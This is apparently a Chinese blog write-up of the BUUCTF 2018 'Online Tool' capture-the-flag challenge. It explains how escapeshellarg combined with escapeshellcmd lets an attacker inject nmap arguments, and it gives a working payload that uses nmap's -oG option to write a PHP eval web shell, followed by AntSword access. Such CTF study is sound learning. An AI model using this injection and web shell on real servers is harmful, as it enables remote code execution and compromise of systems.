当前位置:网站首页>BUUCTF WEB [BUUCTF 2018]Online Tool
BUUCTF WEB [BUUCTF 2018]Online Tool
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [BUUCTF 2018]Online Tool
-
进入环境,得到一段代码
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);其中,
escapeshellarg()函数用于把字符串转码为可以在 shell 命令里使用的参数,也就是将单引号等特殊符号转义,并将转义后的单引号前后用另外的两个单引号包裹<?php echo escapeshellarg("123"); // '123' echo escapeshellarg("12' 3");// '12'\'' 3' ?>escapeshellcmd()函数用于 shell 元字符转义 ,就是在特殊字符和没有配对的单引号前插入\<?php echo escapeshellcmd("123"); // 123 echo escapeshellcmd("12' 3");// 12\' 3 echo escapeshellcmd("12'' 3");// 12'' 3 ?>这里可以参照这篇文章 谈谈escapeshellarg参数绕过和注入的问题 (lmxspace.com) 了解本题如何解
-
因为两个过滤的存在,我们只能执行一条命令。在nmap中存在几个参数
OUTPUT: -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename.可以向文件中写入命令和结果
-
这里我们可以利用
escapeshellarg与escapeshellcmd一起使用的漏洞构造一个命令执行漏洞?host=' <?php @eval($_POST["cmd"]);?> -oG shell.php '回显为
you are in sandbox ae49321bc77b6271cb2db4ba23d835f1Starting Nmap 7.70 ( https://nmap.org ) at 2022-04-22 05:26 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 1.15 seconds Nmap done: 0 IP addresses (0 hosts up) scanned in 1.15 seconds -
使用蚁剑连接,在文件根目录下找到flag文件
flag{24d949bf-db37-41b9-9e74-9f9e202d0af7}
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124343895
边栏推荐
- 软件测试对于减少程序BUG有多大帮助?
- How to solve the computer system card?
- 【Redis 系列】redis 学习十三,Redis 常问简单面试题
- 没有空闲服务器?导入 OVF 镜像快速体验 SmartX 超融合社区版
- QT draw image
- Windows2008系统如何切换PHP版本
- 画结果图推荐网址
- Recommended programming AIDS: picture tool snipaste
- Tan Xiang, CEO of Kechuang · Pera software: the essence of zero trust is digital security. To B should also deeply study the user's mind
- 编程辅助工具推荐:图片工具snipaste
猜你喜欢

IDEA设置版权信息

软银愿景基金进军Web3安全行业 领投CertiK 6000万美元新一轮投资

论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》

One way ANOVA of SPSS

传统企业如何应对数字化转型?这些书给你答案

QT draw text

XinChaCha Trust SSL Organization Validated

In idea Solution to the problem of garbled code in Chinese display of properties file

Idea setting copyright information

S2-062 远程命令执行漏洞复现(cve-2021-31805)
随机推荐
c# 设置logo图标和快捷方式的图标
Uni app native app cloud packaging integrated Aurora push (jg-jpush) detailed tutorial
Plato Farm-以柏拉图为目标的农场元宇宙游戏
AD20补充笔记3—快捷键+持续更新
S2-062 远程命令执行漏洞复现(cve-2021-31805)
IDEA 中 .properties文件的中文显示乱码问题的解决办法
Qt进程间通信
A graphic designer's fantasy world | ones characters
Force buckle - 1137 Nth teponacci number
异步时钟亚稳态 的解决方案——多bit信号
如何防止网站被黑客入侵篡改
程序员如何用130行代码敲定核酸统计
worder字体网页字体对照表
Windows2008系统如何切换PHP版本
外包干了五年,废了...
Pagoda panel command line help tutorial (including resetting password)
智能多线弹性云增加独立的IP地址,如何实现多线功能?
解锁OpenHarmony技术日!年度盛会,即将揭幕!
Everything can be expected in the future | one 2022 campus recruitment officially opened
Force buckle - 70 climb stairs